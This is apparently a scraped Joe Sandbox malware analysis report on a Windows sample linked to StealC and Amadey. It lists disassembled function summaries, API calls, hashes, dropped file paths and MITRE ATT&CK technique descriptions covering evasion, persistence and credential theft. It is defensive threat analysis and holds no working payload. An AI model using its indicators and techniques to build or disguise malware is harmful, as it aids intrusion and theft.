Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 30b671a2c9114b2a0fe6177ccfb1bb7ff11e1ce0b128efb3b10b5fb3a18a6aec
Instruction ID: e92989d0edaf5264cdcb1d7cdcba3caf58f19e7fe0bfe2a1950a78c280db5c09
Opcode Fuzzy Hash: 30b671a2c9114b2a0fe6177ccfb1bb7ff11e1ce0b128efb3b10b5fb3a18a6aec
Instruction Fuzzy Hash: 2B01DBB5A8111467CF08E7A4DE41AFFF7E89F1A750F142015B80177282EA60AF08D6B2

Function 00EA1D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00EA3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00EA3CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00EA1DD3

Strings

ComboBox, xrefs: 00EA1D75
ListBox, xrefs: 00EA1DA0

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 70f430e988bb80531f26d442ef09d7b0766cac8c09f4d1385e1268842e8dfb86
Instruction ID: 537a94fb0bf7134c2acb020c152d94b589ce99bdae6aa537d28ddabd01a32ccb
Opcode Fuzzy Hash: 70f430e988bb80531f26d442ef09d7b0766cac8c09f4d1385e1268842e8dfb86
Instruction Fuzzy Hash: E6F0A971E4121466D704F7A4DD51AFFB7A8AF0A750F142915B422772C2DA60A9089661

Function 00EC747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EC7493
_wcslen.LIBCMT ref: 00EC74B9

Strings

3, 3, 16, 1, xrefs: 00EC7483

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 03e3b5fb4c48b5f3f9cf5b25ad3bc8cdadcc595fe2a2c25878b18e8d38cf900e
Instruction ID: 50301d8d6cd767563261378fef792c9ca4ba072525ea2120f104ef47c695cc4c
Opcode Fuzzy Hash: 03e3b5fb4c48b5f3f9cf5b25ad3bc8cdadcc595fe2a2c25878b18e8d38cf900e
Instruction Fuzzy Hash: B4E023416847111093351275ADC1F7F56C9EFC5790710381FF5D1E1196D655CD9353A1

Function 00EA0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00EA0B23

Strings

Error allocating memory., xrefs: 00EA0B1C
AutoIt, xrefs: 00EA0B17

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: ce6286f979bd50e230b3626fc5c9b925156b2c0a6dd4f421a1f73783955b0ece
Instruction ID: e02906922190620d2630f565ddb89958b4c7d4ea1802f2865b0aa297685611f9
Opcode Fuzzy Hash: ce6286f979bd50e230b3626fc5c9b925156b2c0a6dd4f421a1f73783955b0ece
Instruction Fuzzy Hash: FEE0D8312843092AD2143754BC03F897BC4CF05FA1F201427FB48795C38AD2645096AA

Function 00E60D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00E5F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00E60D71,?,?,?,00E4100A), ref: 00E5F7CE

IsDebuggerPresent.KERNEL32(?,?,?,00E4100A), ref: 00E60D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00E4100A), ref: 00E60D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00E60D7F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 2354b399bc05fb1f5134adaf6967352b64075e8d8517b788689fb26b5d0b1675
Instruction ID: 2cf56bbf3dc93a1ba0754b34027d93944ff84448aceecd2361d7fa20997a3d2a
Opcode Fuzzy Hash: 2354b399bc05fb1f5134adaf6967352b64075e8d8517b788689fb26b5d0b1675
Instruction Fuzzy Hash: 48E06D702007118FD320DFB9F4043427BE4EB14795F009A2EE886E6765DBB0E448CB91

Function 00EB3017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00EB302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00EB3044

Strings

aut, xrefs: 00EB3038

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 90d190593a44918596161014c23cc717ae715431e2aaa29c13d85cb138f084f0
Instruction ID: aae1dcb79f1b4d651246a440150005793c99785265ecbe46acd2a05e95d67987
Opcode Fuzzy Hash: 90d190593a44918596161014c23cc717ae715431e2aaa29c13d85cb138f084f0
Instruction Fuzzy Hash: 75D05B71501314AFDA20A795AC0DFC73B6CD704750F000252B655E20E1DAB4D544CAD0

Function 00E9D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00E9D220

Strings

%.3d, xrefs: 00E9D22B
X64, xrefs: 00E9D2A8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: edef71415f64599753d4925bd53ba4c4286924dd6b910c77c7402e7233677155
Instruction ID: f65e2e8403e43f9de52d53cee7b2df8aeb97dd0a3ce9ccac959c6d5a3cf928b7
Opcode Fuzzy Hash: edef71415f64599753d4925bd53ba4c4286924dd6b910c77c7402e7233677155
Instruction Fuzzy Hash: EBD06265C0D129E9CF9097D0DD459F9B3BCEB18341F60A852FD06B1090E624D54CA761

Function 00ED2356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00ED236C
PostMessageW.USER32(00000000), ref: 00ED2373

Part of subcall function 00EAE97B: Sleep.KERNEL32 ref: 00EAE9F3

Strings

Shell_TrayWnd, xrefs: 00ED2365

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 8c604eb89821278880b7e3bb2d16ac5e445d952872d8e579169a0a261c4c9bfb
Instruction ID: fbc4acc27eb417b4e67923079191bb5cb28732ff265923e0af09d43453abc8f3
Opcode Fuzzy Hash: 8c604eb89821278880b7e3bb2d16ac5e445d952872d8e579169a0a261c4c9bfb
Instruction Fuzzy Hash: 90D0C9323823117AEA64A771AC0FFCA76589B45B50F1049167655FA1D0C9A0B805CA55

Function 00ED2322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00ED232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00ED233F

Part of subcall function 00EAE97B: Sleep.KERNEL32 ref: 00EAE9F3

Strings

Shell_TrayWnd, xrefs: 00ED2325

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: fd3bf77bd4edecb9e8c696050d8e34d7aec3dd52350d801c42c5cf08ce024b43
Instruction ID: 8045392fc2e695a8890c6b59cccdb03a07225d4fcea5dd817d7eb4cdaa533834
Opcode Fuzzy Hash: fd3bf77bd4edecb9e8c696050d8e34d7aec3dd52350d801c42c5cf08ce024b43
Instruction Fuzzy Hash: D1D0A932381310BAEA64A331AC0FFCA7A489B00B00F1009027205BA1D0C9A0A804CA00

Function 00E7BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00E7BE93
GetLastError.KERNEL32 ref: 00E7BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00E7BEFC

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: e0c8f7bebfac49cffeef9b79875f85a7b546cb70c849af2b7f65ee0c626a372d
Instruction ID: ba0baa95fb0c4b1897bd14294864ef0be6c901c489c0665f19a40e3e03bce114
Opcode Fuzzy Hash: e0c8f7bebfac49cffeef9b79875f85a7b546cb70c849af2b7f65ee0c626a372d
Instruction Fuzzy Hash: A841F634701216AFCF258F65DC54BBA7BA4EF41B54F24A16AF95DBB2A1DB308C00DB50

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xwZfYpo16i.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

C:\Users\user\AppData\Local\Temp\1000336001\num.exe

C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Windows Analysis Report
xwZfYpo16i.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

